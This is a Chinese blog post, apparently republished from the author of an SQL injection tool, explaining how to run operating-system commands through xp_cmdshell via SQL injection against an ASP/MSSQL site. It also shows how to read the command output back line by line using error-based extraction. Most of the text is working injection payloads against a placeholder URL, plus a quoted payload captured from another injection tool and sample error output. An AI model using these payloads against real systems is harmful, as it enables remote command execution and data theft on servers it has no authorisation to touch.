来源:自学PHP网 时间:2015-04-17 18:33 作者: 阅读:次
[导读] 最近在写 xp_cmdshell 执行命令,怎样读取回显的事!我在"企业管理器 SQL Server Enterprise Manager "执行一下命令EXEC master.dbo.xp_cmdshell dir c:screen.width-300)this.width=screen.width-300...
最近在写 xp_cmdshell 执行命令,怎样读取回显的事!
我在"企业管理器 SQL Server Enterprise Manager "执行一下命令 EXEC master.dbo.xp_cmdshell dir c: 可以显示内容,但,怎样把他显示出来? 我以前想,不就一行一行读取来,我是这样写的! //先创建一个临时表 http://www.xxx.com/aa.asp?=1 ; create TABLE D99_CMD([output][varchar](1000));-- //之后把 xp_cmdshell 想显的内容输入临时表 http://www.xxx.com/aa.asp?=1 ; insert D99_CMD exec master.dbo.xp_cmdshell dir c: //读取内容 http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Boutput%2Bchar(124) From (select Top 1 output From D99_CMD Order by [output]) T Order by [output ] desc)>0 我读取内容的时候,才知道不能读取!我查看了临时表,内容是有的! 之后想想,应该是因建列的信息不足(有空行啊),内容不能爆出来!就算可以爆,也有可能不是按顺序的! 那要怎样一行一行的读取来了! 呵呵!所以我用了笨方法,什么方法,查一下现在网上已可用的 xp_cmdshell 的软件抓包看看! 这个软件很早就实现了这个功能,所以我拿他来抓包! ;EXEC ASTER..XP_CMDSHELL Dir C: > C:NB_Commander_Txt.log;drop TABLE NB_Commander_Tmp;create TABLE NB_Commander_Tmp(ResultTxt varchar(7996) NULL);BULK insert [sdyy]..[NB_Commander_Tmp] FROM C:NB_Commander_Txt.log WITH (KEEPNULLS);alter Table NB_Commander_Tmp add ID int NOT NULL IDENTITY (1,1)-- 他是把执行的回显内容写入一个文件,之后再把他导进数据库中,晕,前辈知道的SQL命令真多! 我看到代码晕了,好多!(不要笑我,其实我做注入工具以前,还一点也不懂SQL的!是写注入后,才知道了些注入的SQL命令) 看了前辈的代码,看到 ID int NOT NULL IDENTITY (1,1) 自动编号!!!! 可不可以在执行 xp_cmdshell 时,同时也加进一个唯一的ID号!!!! 我在临时表里,加入了一个自动编程的ID,之后,我再执行xp_cmdshell命令把回显的内容导入数据库,执行完命令后,我再查看了临时表! 我高兴了,可以导入内容的! 成功了,成功了!!!(我以前不知道可以这样加的!不太熟SQL了,不要笑我了)有了一个可以排序的ID,爆内容就不复杂了! 我改的代码! =============================================================== 创建表,加了个自动编号的ID,并把xp_cmdshell的回显内容导入临时表 http://www.xxx.com/aa.asp?=1 ;drop TABLE D99_CMD; create TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1));insert D99_CMD exec master.dbo.xp_cmdshell dir c: ;-- //之后爆内容了,可以一行一行的爆! http://www.xxx.com/aa.asp?=1 And (select Top 1 char(124)%2Bdata%2Bchar(124) From (select Top 1 [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0 =============================================================== drop TABLE D99_CMD 是清除以前的内容 如果想知道有多少行,可以这样读 http://www.xxx.com/aa.asp?=1 And (select char(124)%2Bcast(Count(1) as varchar(8000))%2Bchar(124) From D99_CMD)>0 回显的内容如下: ---------------------------------------------------------------------------------------------------- Microsoft OLE DB Provider for ODBC Drivers 错误 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 |37| 转换为数据类型为 int 的列时发生语法错误。 |37| 里的 37 就是行数 ======================================= 是因为我SQL命令不太熟悉,所以走了很多弯路! 这也是我用 xp_cmdshell 执行回显问题的一点经历! 啊D QQ:9269563 http://www.d99net.com http://d99.126.com |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com